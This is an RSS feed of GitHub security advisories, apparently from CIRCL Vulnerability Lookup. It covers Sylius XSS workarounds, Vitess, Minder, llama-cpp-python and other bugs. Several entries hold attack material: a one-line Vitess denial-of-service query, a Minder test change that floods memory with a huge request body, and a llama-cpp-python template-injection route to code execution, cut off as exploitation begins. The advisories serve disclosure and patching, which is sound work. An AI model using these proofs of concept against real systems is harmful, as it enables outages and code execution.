https://vulnerability.circl.lu/rss/recent/github/30 Most recent entries from github 2024-05-14T15:40:39.601193+00:00 Vulnerability Lookup python-feedgen Contains only the most 30 recent entries. https://vulnerability.circl.lu/vuln/ghsa-v2f9-rv6w-vw8r ghsa-v2f9-rv6w-vw8r 2024-05-14T15:40:39.624017+00:00 ### Impact There is a possibility to execute javascript code in the Admin panel. In order to perform an XSS attack input a script into `Name` field in which of the resources: Taxons, Products, Product Options or Product Variants. The code will be executed while using an autocomplete field with one of the listed entities in the Admin Panel. Also for the taxons in the category tree on the product form. ### Patches The issue is fixed in versions: 1.12.16, 1.13.1 and above. ### Workarounds 1. Create new file `assets/admin/sylius-lazy-choice-tree.js`: ```js // assets/admin/sylius-lazy-choice-tree.js function sanitizeInput(input) { const div = document.createElement('div'); div.textContent = input; return div.innerHTML; // Converts text content to plain HTML, stripping any scripts } const createRootContainer = function createRootContainer() { return $('<div class="ui list"></div>'); }; const createLeafContainerElement = function createLeafContainerElement() { return $('<div class="list"></div>'); }; const createLeafIconElement = function createLeafIconElement() { return $('<i class="folder icon"></i>'); }; const createLeafTitleElement = function createLeafTitleElement() { return $('<div class="header"></div>'); }; const createLeafTitleSpan = function createLeafTitleSpan(displayName) { return $(`<span style="margin-right: 5px; cursor: pointer;">${displayName}</span>`); }; const createLeafContentElement = function createLeafContentElement() { return $('<div class="content"></div>'); }; $.fn.extend({ choiceTree(type, multiple, defaultLevel) { const tree = this; const loader = tree.find('.dimmer'); const loadedLeafs = []; const $input = tree.find('input[type="hidden"]'); const createCheckboxElement = function createCheckboxElement(name, code, multi) { const chosenNodes = $input.val().split(','); let checked = ''; if (chosenNodes.some(chosenCode => chosenCode === code)) { checked = 'checked="checked"'; } if (multi) { return $(`<div class="ui checkbox" data-value="${code}"><input ${checked} type="checkbox" name="${type}"></div>`); } return $(`<div class="ui radio checkbox" data-value="${code}"><input ${checked} type="radio" name="${type}"></div>`); }; const isLeafLoaded = function isLeafLoaded(code) { return loadedLeafs.some(leafCode => leafCode === code); }; let createLeafFunc; const loadLeafAction = function loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement) { icon.toggleClass('open'); if (!isLeafLoaded(parentCode)) { expandButton.api({ on: 'now', url: tree.data('tree-leafs-url') || tree.data('taxon-leafs-url'), method: 'GET', cache: false, data: { parentCode, }, beforeSend(settings) { loader.addClass('active'); return settings; }, onSuccess(response) { response.forEach((leafNode) => { leafContainerElement.append(( createLeafFunc(sanitizeInput(leafNode.name), leafNode.code, leafNode.hasChildren, multiple, leafNode.level) )); }); content.append(leafContainerElement); loader.removeClass('active'); loadedLeafs.push(parentCode); leafContainerElement.toggle(); }, }); } leafContainerElement.toggle(); }; const bindExpandLeafAction = function bindExpandLeafAction(parentCode, expandButton, content, icon, level) { const leafContainerElement = createLeafContainerElement(); if (defaultLevel > level) { loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement); } expandButton.click(() => { loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement); }); }; const bindCheckboxAction = function bindCheckboxAction(checkboxElement) { checkboxElement.checkbox({ onChecked() { const { value } = checkboxElement[0].dataset; const checkedValues = $input.val().split(',').filter(Boolean); checkedValues.push(value); $input.val(checkedValues.join()); }, onUnchecked() { const { value } = checkboxElement[0].dataset; const checkedValues = $input.val().split(',').filter(Boolean); const i = checkedValues.indexOf(value); if (i !== -1) { checkedValues.splice(i, 1); } $input.val(checkedValues.join()); }, }); }; const createLeaf = function createLeaf(name, code, hasChildren, multipleChoice, level) { const displayNameElement = createLeafTitleSpan(name); const titleElement = createLeafTitleElement(); const iconElement = createLeafIconElement(); const checkboxElement = createCheckboxElement(name, code, multipleChoice); bindCheckboxAction(checkboxElement); const leafElement = $('<div class="item"></div>'); const leafContentElement = createLeafContentElement(); leafElement.append(iconElement); titleElement.append(displayNameElement); titleElement.append(checkboxElement); leafContentElement.append(titleElement); if (!hasChildren) { iconElement.addClass('outline'); } if (hasChildren) { bindExpandLeafAction(code, displayNameElement, leafContentElement, iconElement, level); } leafElement.append(leafContentElement); return leafElement; }; createLeafFunc = createLeaf; tree.api({ on: 'now', method: 'GET', url: tree.data('tree-root-nodes-url') || tree.data('taxon-root-nodes-url'), cache: false, beforeSend(settings) { loader.addClass('active'); return settings; }, onSuccess(response) { const rootContainer = createRootContainer(); response.forEach((rootNode) => { rootContainer.append(( createLeaf(sanitizeInput(rootNode.name), rootNode.code, rootNode.hasChildren, multiple, rootNode.level) )); }); tree.append(rootContainer); loader.removeClass('active'); }, }); }, }); ``` 2. Create new file `assets/admin/sylius-auto-complete.js`: ```js // assets/admin/sylius-auto-complete.js function sanitizeInput(input) { const div = document.createElement('div'); div.textContent = input; return div.innerHTML; // Converts text content to plain HTML, stripping any scripts } $.fn.extend({ autoComplete() { this.each((idx, el) => { const element = $(el); const criteriaName = element.data('criteria-name'); const choiceName = element.data('choice-name'); const choiceValue = element.data('choice-value'); const autocompleteValue = element.find('input.autocomplete').val(); const loadForEditUrl = element.data('load-edit-url'); element.dropdown({ delay: { search: 250, }, forceSelection: false, saveRemoteData: false, verbose: true, apiSettings: { dataType: 'JSON', cache: false, beforeSend(settings) { /* eslint-disable-next-line no-param-reassign */ settings.data[criteriaName] = settings.urlData.query; return settings; }, onResponse(response) { let results = response.map(item => ({ name: sanitizeInput(item[choiceName]), value: sanitizeInput(item[choiceValue]), })); if (!element.hasClass('multiple')) { results.unshift({ name: '&nbsp;', value: '', }); } return { success: true, results: results, }; }, }, }); if (autocompleteValue.split(',').filter(String).length > 0) { const menuElement = element.find('div.menu'); menuElement.api({ on: 'now', method: 'GET', url: loadForEditUrl, beforeSend(settings) { /* eslint-disable-next-line no-param-reassign */ settings.data[choiceValue] = autocompleteValue.split(',').filter(String); return settings; }, onSuccess(response) { response.forEach((item) => { menuElement.append(( $(`<div class="item" data-value="${item[choiceValue]}">${item[choiceName]}</div>`) )); }); element.dropdown('refresh'); element.dropdown('set selected', element.find('input.autocomplete').val().split(',').filter(String)); }, }); } }); }, }); ``` 3. Create new file `assets/admin/sylius-product-auto-complete.js`: ```js // assets/admin/sylius-product-auto-complete.js function sanitizeInput(input) { const div = document.createElement('div'); div.textContent = input; return div.innerHTML; // Converts text content to plain HTML, stripping any scripts } $.fn.extend({ productAutoComplete() { this.each((index, element) => { const $element = $(element); $element.dropdown('set selected', $element.find('input[name*="[associations]"]').val().split(',').filter(String)); }); this.dropdown({ delay: { search: 250, }, forceSelection: false, apiSettings: { dataType: 'JSON', cache: false, data: { criteria: { search: { type: 'contains', value: '' } }, }, beforeSend(settings) { /* eslint-disable-next-line no-param-reassign */ settings.data.criteria.search.value = settings.urlData.query; return settings; }, onResponse(response) { return { success: true, results: response._embedded.items.map(item => ({ name: sanitizeInput(item.name), value: sanitizeInput(item.code), })), }; }, }, onAdd(addedValue, addedText, $addedChoice) { const inputAssociation = $addedChoice.parents('.product-select').find('input[name*="[associations]"]'); const associatedProductCodes = inputAssociation.val().length > 0 ? inputAssociation.val().split(',').filter(String) : []; associatedProductCodes.push(addedValue); $.unique(associatedProductCodes.sort()); inputAssociation.attr('value', associatedProductCodes.join()); }, onRemove(removedValue, removedText, $removedChoice) { const inputAssociation = $removedChoice.parents('.product-select').find('input[name*="[associations]"]'); const associatedProductCodes = inputAssociation.val().length > 0 ? inputAssociation.val().split(',').filter(String) : []; associatedProductCodes.splice($.inArray(removedValue, associatedProductCodes), 1); inputAssociation.attr('value', associatedProductCodes.join()); }, }); }, }); ``` 4. Add new import in `assets/admin/entry.js`: ```js // assets/admin/entry.js // ... import './sylius-lazy-choice-tree'; import './sylius-auto-complete'; import './sylius-product-auto-complete'; ``` 5. Rebuild your assets: ```bash yarn build ``` ### Acknowledgements This security issue has been reported by [Checkmarx Research Group](https://checkmarx.com), thank you! ### For more information If you have any questions or comments about this advisory: * Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues) * Email us at security@sylius.com https://vulnerability.circl.lu/vuln/ghsa-7prj-9ccr-hr3q ghsa-7prj-9ccr-hr3q 2024-05-14T15:40:39.624004+00:00 ### Impact There is a possibility to save XSS code in province field in the Checkout and Address Book and then execute it on these pages. The problem occurs when you open the address step page in the checkout or edit the address in the address book. This only affects the base UI Shop provided by Sylius. ### Patches The issue is fixed in versions: 1.12.16, 1.13.1 and above. ### Workarounds 1. Create new file `assets/shop/sylius-province-field.js`: ```js // assets/shop/sylius-province-field.js function sanitizeInput(input) { const div = document.createElement('div'); div.textContent = input; return div.innerHTML; // Converts text content to plain HTML, stripping any scripts } const getProvinceInputValue = function getProvinceInputValue(valueSelector) { return valueSelector == undefined ? '' : `value="${sanitizeInput(valueSelector)}"`; }; $.fn.extend({ provinceField() { const countrySelect = $('select[name$="[countryCode]"]'); countrySelect.on('change', (event) => { const select = $(event.currentTarget); const provinceContainer = select.parents('.field').next('div.province-container'); const provinceSelectFieldName = select.attr('name').replace('country', 'province'); const provinceInputFieldName = select.attr('name').replace('countryCode', 'provinceName'); const provinceSelectFieldId = select.attr('id').replace('country', 'province'); const provinceInputFieldId = select.attr('id').replace('countryCode', 'provinceName'); const form = select.parents('form'); if (select.val() === '' || select.val() == undefined) { provinceContainer.fadeOut('slow', () => { provinceContainer.html(''); }); return; } provinceContainer.attr('data-loading', true); form.addClass('loading'); $.get(provinceContainer.attr('data-url'), { countryCode: select.val() }, (response) => { if (!response.content) { provinceContainer.fadeOut('slow', () => { provinceContainer.html(''); provinceContainer.removeAttr('data-loading'); form.removeClass('loading'); }); } else if (response.content.indexOf('select') !== -1) { provinceContainer.fadeOut('slow', () => { const provinceSelectValue = getProvinceInputValue(( $(provinceContainer).find('select > option[selected$="selected"]').val() )); provinceContainer.html(( response.content .replace('name="sylius_address_province"', `name="${provinceSelectFieldName}"${provinceSelectValue}`) .replace('id="sylius_address_province"', `id="${provinceSelectFieldId}"`) .replace('option value="" selected="selected"', 'option value=""') .replace(`option ${provinceSelectValue}`, `option ${provinceSelectValue}" selected="selected"`) )); provinceContainer.addClass('required'); provinceContainer.removeAttr('data-loading'); provinceContainer.fadeIn('fast', () => { form.removeClass('loading'); }); }); } else { provinceContainer.fadeOut('slow', () => { const provinceInputValue = getProvinceInputValue($(provinceContainer).find('input').val()); provinceContainer.html(( response.content .replace('name="sylius_address_province"', `name="${provinceInputFieldName}"${provinceInputValue}`) .replace('id="sylius_address_province"', `id="${provinceInputFieldId}"`) )); provinceContainer.removeAttr('data-loading'); provinceContainer.fadeIn('fast', () => { form.removeClass('loading'); }); }); } }); }); if (countrySelect.val() !== '') { countrySelect.trigger('change'); } if ($.trim($('div.province-container').text()) === '') { $('select.country-select').trigger('change'); } const shippingAddressCheckbox = $('input[type="checkbox"][name$="[differentShippingAddress]"]'); const shippingAddressContainer = $('#sylius-shipping-address-container'); const toggleShippingAddress = function toggleShippingAddress() { shippingAddressContainer.toggle(shippingAddressCheckbox.prop('checked')); }; toggleShippingAddress(); shippingAddressCheckbox.on('change', toggleShippingAddress); }, }); ``` 2. Add new import in `assets/shop/entry.js`: ```js // assets/shop/entry.js // ... import './sylius-province-field'; ``` 3. Rebuild your assets: ```bash yarn build ``` ### Acknowledgements This security issue has been reported by @r2tunes, thank you! ### References - The original advisory: https://github.com/advisories/GHSA-mw82-6m2g-qh6c ### For more information If you have any questions or comments about this advisory: * Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues) * Email us at security@sylius.com https://vulnerability.circl.lu/vuln/ghsa-jcqq-g64v-gcm7 ghsa-jcqq-g64v-gcm7 2024-05-14T15:40:39.623991+00:00 ### Impact Nodes can publish ATXs which reference the incorrect previous ATX of the Smesher that created the ATX. ATXs are expected to form a single chain from the newest to the first ATX ever published by an identity. Allowing Smeshers to reference an earlier (but not the latest) ATX as previous breaks this protocol rule and can serve as an attack vector where Nodes are rewarded for holding their PoST data for less than one epoch but still being eligible for rewards. ### Patches - API needs to be extended to be able to fetch events from a node that dected malicious behavior of this regard by the node - go-spacemesh needs to be patched to a) not allow publishing these ATXs any more and b) create malfeasance proofs for identities that published invalid ATXs in the past. ### Workarounds n/a ### References Spacemesh protocol whitepaper: https://spacemesh.io/blog/spacemesh-white-paper-1/, specifically sections 4.4.2 ("ATX Contents") and 4.4.3 ("ATX validity") https://vulnerability.circl.lu/vuln/ghsa-cw54-59pw-4g8c ghsa-cw54-59pw-4g8c 2024-05-14T15:40:39.623978+00:00 Remote code execution is possible with Apache Tomcat before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 if JmxRemoteLifecycleListener is used and an attacker can reach JMX ports. The issue exists because this listener wasn't updated for consistency with the CVE-2016-3427 Oracle patch that affected credential types. https://vulnerability.circl.lu/vuln/ghsa-g9cj-cfpp-4g2x ghsa-g9cj-cfpp-4g2x 2024-05-14T15:40:39.623965+00:00 An issue was discovered in gradio-app/gradio, where the `/component_server` endpoint improperly allows the invocation of any method on a `Component` class with attacker-controlled arguments. Specifically, by exploiting the `move_resource_to_block_cache()` method of the `Block` class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access, posing a significant risk especially when the application is exposed to the internet via `launch(share=True)`, thereby allowing remote attackers to read files on the host machine. Furthermore, gradio apps hosted on `huggingface.co` are also affected, potentially leading to the exposure of sensitive information such as API keys and credentials stored in environment variables. https://vulnerability.circl.lu/vuln/ghsa-x9vc-6hfv-hg8c ghsa-x9vc-6hfv-hg8c 2024-05-14T15:40:39.623950+00:00 ### Summary The `WriteBind()` method in `src/Npgsql/Internal/NpgsqlConnector.FrontendMessages.cs` uses `int` variables to store the message length and the sum of parameter lengths. Both variables overflow when the sum of parameter lengths becomes too large. This causes Npgsql to write a message size that is too small when constructing a Postgres protocol message to send it over the network to the database. When parsing the message, the database will only read a small number of bytes and treat any following bytes as new messages while they belong to the old message. Attackers can abuse this to inject arbitrary Postgres protocol messages into the connection, leading to the execution of arbitrary SQL statements on the application's behalf. ### Impact Attackers can issue arbitrary SQL statements to the database on behalf of the application. The final impact depends on the application that uses Npgsql, the data it stores in Postgres, etc. https://vulnerability.circl.lu/vuln/ghsa-wpcv-5jgp-69f3 ghsa-wpcv-5jgp-69f3 2024-05-14T15:40:39.623937+00:00 ### Overview Path Traversal Vulnerability via File Uploads in Genie ### Impact Any Genie OSS users running their own instance and relying on the filesystem to store file attachments submitted to the Genie application may be impacted. Using this technique, it is possible to write a file with any user-specified filename and file contents to any location on the file system that the Java process has write access - potentially leading to remote code execution (RCE). Genie users who do not store these attachments locally on the underlying file system are not vulnerable to this issue. ### Description Genie's API accepts a multipart/form-data file upload which can be saved to a location on disk. However, it takes a user-supplied filename as part of the request and uses this as the filename when writing the file to disk. Since this filename is user-controlled, it is possible for a malicious actor to manipulate the filename in order to break out of the default attachment storage path and perform path traversal. Using this technique it is possible to write a file with any user specified name and file contents to any location on the file system that the Java process has write access to. ### Patches This path traversal issue is fixed in Genie OSS v4.3.18. This issue was fixed in https://github.com/Netflix/genie/pull/1216 and https://github.com/Netflix/genie/pull/1217 and a [new release](https://github.com/Netflix/genie/releases/tag/v4.3.18) with the fix was created. Please, upgrade your Genie OSS instances to the new version. https://vulnerability.circl.lu/vuln/ghsa-4h8f-2wvx-gg5w ghsa-4h8f-2wvx-gg5w 2024-05-14T15:40:39.623923+00:00 An issue was discovered in Bouncy Castle Java Cryptography APIs before BC 1.78. When endpoint identification is enabled in the BCJSSE and an SSL socket is created without an explicit hostname (as happens with HttpsURLConnection), hostname verification could be performed against a DNS-resolved IP address in some situations, opening up a possibility of DNS poisoning. https://vulnerability.circl.lu/vuln/ghsa-jx9r-9m63-c2rc ghsa-jx9r-9m63-c2rc 2024-05-14T15:40:39.623910+00:00 The WP Reset – Most Advanced WordPress Reset Tool plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.99 via the use of insufficiently random snapshot names. This makes it possible for unauthenticated attackers to extract sensitive data including site backups by brute-forcing the snapshot filenames. https://vulnerability.circl.lu/vuln/ghsa-649x-hxfx-57j2 ghsa-649x-hxfx-57j2 2024-05-14T15:40:39.623896+00:00 ### Summary When executing the following simple query, the `vtgate` will go into an endless loop that also keeps consuming memory and eventually will OOM. ### Details When running the following query, the `evalengine` will try evaluate it and runs forever. ``` select _utf16 0xFF ``` The source of the bug lies in the collation logic that we have. The bug applies to all `utf16`, `utf32` and `ucs2` encodings. In general, the bug is there for any encoding where the minimal byte length for a single character is more than 1 byte. The decoding functions for these collations all implement logic like the following to enforce the minimal character length: https://github.com/vitessio/vitess/blob/8f6cfaaa643a08dc111395a75a2d250ee746cfa8/go/mysql/collations/charset/unicode/utf16.go#L69-L71 The problem is that all the callers of `DecodeRune` expect progress by returning the number of bytes consumed. This means that if there's only 1 byte left in an input, it will here return still `0` and the caller(s) don't consume the character. One example of such a caller is the following: https://github.com/vitessio/vitess/blob/8f6cfaaa643a08dc111395a75a2d250ee746cfa8/go/mysql/collations/charset/convert.go#L73-L79 The logic here moves forward the pointer in the input `[]byte` but if `DecodeRune` returns `0` in case of error, it will keep running forever. The OOM happens since it keeps adding the `?` as the invalid character to the destination buffer infinitely, growing forever until it runs out of memory. The fix here would be to always return forward progress also on invalid strings. There's also a separate bug here that even if progress is guaranteed, `select _utf16 0xFF` will return the wrong result currently. MySQL will pad here the input when the `_utf16` introducer is used with leading `0x00` bytes and then decode to UTF-16, resulting in the output of `ÿ` here. ### PoC ``` select _utf16 0xFF ``` ### Impact Denial of service attack by triggering unbounded memory usage. https://vulnerability.circl.lu/vuln/ghsa-9c5w-9q3f-3hv7 ghsa-9c5w-9q3f-3hv7 2024-05-14T15:40:39.623882+00:00 Minder's `HandleGithubWebhook` is susceptible to a denial of service attack from an untrusted HTTP request. The vulnerability exists before the request has been validated, and as such the request is still untrusted at the point of failure. This allows an attacker with the ability to send requests to `HandleGithubWebhook` to crash the Minder controlplane and deny other users from using it. One of the first things that `HandleGithubWebhook` does is to validate the payload signature. This is done by way of the internal helper `validatePayloadSignature`: https://github.com/stacklok/minder/blob/ee66f6c0763212503c898cfefb65ce1450c7f5ac/internal/controlplane/handlers_githubwebhooks.go#L213-L218 `validatePayloadSignature` generates a reader from the incoming request by way of the internal helper `readerFromRequest`: https://github.com/stacklok/minder/blob/ee66f6c0763212503c898cfefb65ce1450c7f5ac/internal/controlplane/handlers_githubwebhooks.go#L337-L342 To create a reader from the incoming request, `readerFromRequest` first reads the request body entirely into memory on line 368: https://github.com/stacklok/minder/blob/ee66f6c0763212503c898cfefb65ce1450c7f5ac/internal/controlplane/handlers_githubwebhooks.go#L367-L377 This is a vulnerability, since an HTTP request with a large body can exhaust the memory of the machine running Minder and cause the Go runtime to crash Minder. Note that this occurs before Minder has validated the request, and as such, the request is still untrusted. To test this out, we can use the existing `TestHandleWebHookRepository` unit test and modify the HTTP request body to be large. To do that, change these lines: https://github.com/stacklok/minder/blob/ee66f6c0763212503c898cfefb65ce1450c7f5ac/internal/controlplane/handlers_githubwebhooks_test.go#L278-L283 ... to these lines: ```go packageJson, err := json.Marshal(event) require.NoError(t, err, "failed to marshal package event") maliciousBody := strings.NewReader(strings.Repeat("1337", 1000000000)) maliciousBodyReader := io.MultiReader(maliciousBody, maliciousBody, maliciousBody, maliciousBody, maliciousBody) _ = packageJson client := &http.Client{} req, err := http.NewRequest("POST", fmt.Sprintf("http://%s", addr), maliciousBodyReader) require.NoError(t, err, "failed to create request") ``` Then run the unit test again. WARNING, SAVE ALL WORK BEFORE DOING THIS. On my local machine, this causes the machine to freeze, and Go finally performs a sigkill: ``` signal: killed FAIL github.com/stacklok/minder/internal/controlplane 30.759s FAIL ``` https://vulnerability.circl.lu/vuln/ghsa-3494-cfwf-56hw ghsa-3494-cfwf-56hw 2024-05-14T15:40:39.623868+00:00 phpecc, as used in **all versions** of mdanter/ecc, as well as paragonie/ecc before 2.0.1, has a branch-based timing leak in Point addition. (This Composer package is also known as phpecc/phpecc on GitHub, previously known as the Matyas Danter ECC library.) Paragon Initiative Enterprises [hard-forked phpecc/phpecc](https://github.com/phpecc/phpecc/issues/289) and discovered the issue in the original code, then released v2.0.1 which fixes the vulnerability. [The upstream code](https://github.com/phpecc/phpecc) is no longer maintained and remains vulnerable for all versions. https://vulnerability.circl.lu/vuln/ghsa-p437-j6g9-3f2f ghsa-p437-j6g9-3f2f 2024-05-14T15:40:39.623854+00:00 In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: x86: Don't overflow lpage_info when checking attributes Fix KVM_SET_MEMORY_ATTRIBUTES to not overflow lpage_info array and trigger KASAN splat, as seen in the private_mem_conversions_test selftest. When memory attributes are set on a GFN range, that range will have specific properties applied to the TDP. A huge page cannot be used when the attributes are inconsistent, so they are disabled for those the specific huge pages. For internal KVM reasons, huge pages are also not allowed to span adjacent memslots regardless of whether the backing memory could be mapped as huge. What GFNs support which huge page sizes is tracked by an array of arrays 'lpage_info' on the memslot, of ‘kvm_lpage_info’ structs. Each index of lpage_info contains a vmalloc allocated array of these for a specific supported page size. The kvm_lpage_info denotes whether a specific huge page (GFN and page size) on the memslot is supported. These arrays include indices for unaligned head and tail huge pages. Preventing huge pages from spanning adjacent memslot is covered by incrementing the count in head and tail kvm_lpage_info when the memslot is allocated, but disallowing huge pages for memory that has mixed attributes has to be done in a more complicated way. During the KVM_SET_MEMORY_ATTRIBUTES ioctl KVM updates lpage_info for each memslot in the range that has mismatched attributes. KVM does this a memslot at a time, and marks a special bit, KVM_LPAGE_MIXED_FLAG, in the kvm_lpage_info for any huge page. This bit is essentially a permanently elevated count. So huge pages will not be mapped for the GFN at that page size if the count is elevated in either case: a huge head or tail page unaligned to the memslot or if KVM_LPAGE_MIXED_FLAG is set because it has mixed attributes. To determine whether a huge page has consistent attributes, the KVM_SET_MEMORY_ATTRIBUTES operation checks an xarray to make sure it consistently has the incoming attribute. Since level - 1 huge pages are aligned to level huge pages, it employs an optimization. As long as the level - 1 huge pages are checked first, it can just check these and assume that if each level - 1 huge page contained within the level sized huge page is not mixed, then the level size huge page is not mixed. This optimization happens in the helper hugepage_has_attrs(). Unfortunately, although the kvm_lpage_info array representing page size 'level' will contain an entry for an unaligned tail page of size level, the array for level - 1 will not contain an entry for each GFN at page size level. The level - 1 array will only contain an index for any unaligned region covered by level - 1 huge page size, which can be a smaller region. So this causes the optimization to overflow the level - 1 kvm_lpage_info and perform a vmalloc out of bounds read. In some cases of head and tail pages where an overflow could happen, callers skip the operation completely as KVM_LPAGE_MIXED_FLAG is not required to prevent huge pages as discussed earlier. But for memslots that are smaller than the 1GB page size, it does call hugepage_has_attrs(). In this case the huge page is both the head and tail page. The issue can be observed simply by compiling the kernel with CONFIG_KASAN_VMALLOC and running the selftest “private_mem_conversions_test”, which produces the output like the following: BUG: KASAN: vmalloc-out-of-bounds in hugepage_has_attrs+0x7e/0x110 Read of size 4 at addr ffffc900000a3008 by task private_mem_con/169 Call Trace: dump_stack_lvl print_report ? __virt_addr_valid ? hugepage_has_attrs ? hugepage_has_attrs kasan_report ? hugepage_has_attrs hugepage_has_attrs kvm_arch_post_set_memory_attributes kvm_vm_ioctl It is a little ambiguous whether the unaligned head page (in the bug case also the tail page) should be expected to have KVM_LPAGE_MIXED_FLAG set. It is not functionally required, as the unal ---truncated--- https://vulnerability.circl.lu/vuln/ghsa-75r6-6jg8-pfcq ghsa-75r6-6jg8-pfcq 2024-05-14T15:40:39.623842+00:00 ### Impact This vulnerability can spike the resource utilization of the STS service, and combined with a significant traffic volume could potentially lead to a denial of service. ### Patches This vulnerability existed in the repository at HEAD, we will cut a 0.1.0 release with the fix. ### Workarounds None ### References None https://vulnerability.circl.lu/vuln/ghsa-56xg-wfcc-g829 ghsa-56xg-wfcc-g829 2024-05-14T15:40:39.623829+00:00 ## Description `llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload. ## Source-to-Sink ### `llama.py` -> `class Llama` -> `__init__`: ```python class Llama: """High-level Python wrapper for a llama.cpp model.""" __backend_initialized = False def __init__( self, model_path: str, # lots of params; Ignoring ): self.verbose = verbose set_verbose(verbose) if not Llama.__backend_initialized: with suppress_stdout_stderr(disable=verbose): llama_cpp.llama_backend_init() Llama.__backend_initialized = True # Ignoring lines of unrelated codes..... try: self.metadata = self._model.metadata() except Exception as e: self.metadata = {} if self.verbose: print(f"Failed to load metadata: {e}", file=sys.stderr) if self.verbose: print(f"Model metadata: {self.metadata}", file=sys.stderr) if ( self.chat_format is None and self.chat_handler is None and "tokenizer.chat_template" in self.metadata ): chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata( self.metadata ) if chat_format is not None: self.chat_format = chat_format if self.verbose: print(f"Guessed chat format: {chat_format}", file=sys.stderr) else: template = self.metadata["tokenizer.chat_template"] try: eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"]) except: eos_token_id = self.token_eos() try: bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"]) except: bos_token_id = self.token_bos() eos_token = self._model.token_get_text(eos_token_id) bos_token = self._model.token_get_text(bos_token_id) if self.verbose: print(f"Using gguf chat template: {template}", file=sys.stderr) print(f"Using chat eos_token: {eos_token}", file=sys.stderr) print(f"Using chat bos_token: {bos_token}", file=sys.stderr) self.chat_handler = llama_chat_format.Jinja2ChatFormatter( template=template, eos_token=eos_token, bos_token=bos_token, stop_token_ids=[eos_token_id], ).to_chat_handler() if self.chat_format is None and self.chat_handler is None: self.chat_format = "llama-2" if self.verbose: print(f"Using fallback chat format: {chat_format}", file=sys.stderr) ``` In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler` ### `llama_chat_format.py` -> `Jinja2ChatFormatter`: `self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render(` ```python class ChatFormatter(Protocol): """Base Protocol for a chat formatter. A chat formatter is a function that takes a list of messages and returns a chat format response which can be used to generate a completion. The response can also include a stop token or list of stop tokens to use for the completion.""" def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], **kwargs: Any, ) -> ChatFormatterResponse: ... class Jinja2ChatFormatter(ChatFormatter): def __init__( self, template: str, eos_token: str, bos_token: str, add_generation_prompt: bool = True, stop_token_ids: Optional[List[int]] = None, ): """A chat formatter that uses jinja2 templates to format the prompt.""" self.template = template self.eos_token = eos_token self.bos_token = bos_token self.add_generation_prompt = add_generation_prompt self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` As we can see in `llama_chat_format.py` -> `Jinja2ChatFormatter`, the constructor `__init__` initialized required `members` inside of the class; Nevertheless, focusing on this line: ```python self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) ``` Fun thing here: `llama_cpp_python` directly loads the `self.template` (`self.template = template` which is the `chat template` located in the `Metadate` that is parsed as a param) via `jinja2.Environment.from_string(` without setting any sandbox flag or using the protected `immutablesandboxedenvironment `class. This is extremely unsafe since the attacker can implicitly tell `llama_cpp_python` to load malicious `chat template` which is furthermore rendered in the `__call__` constructor, allowing RCEs or Denial-of-Service since `jinja2`'s renderer evaluates embed codes like `eval()`, and we can utilize expose method by exploring the attribution such as `__globals__`, `__subclasses__` of pretty much anything. ```python def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( # rendered! messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` ## Exploiting For our exploitation, we first downloaded 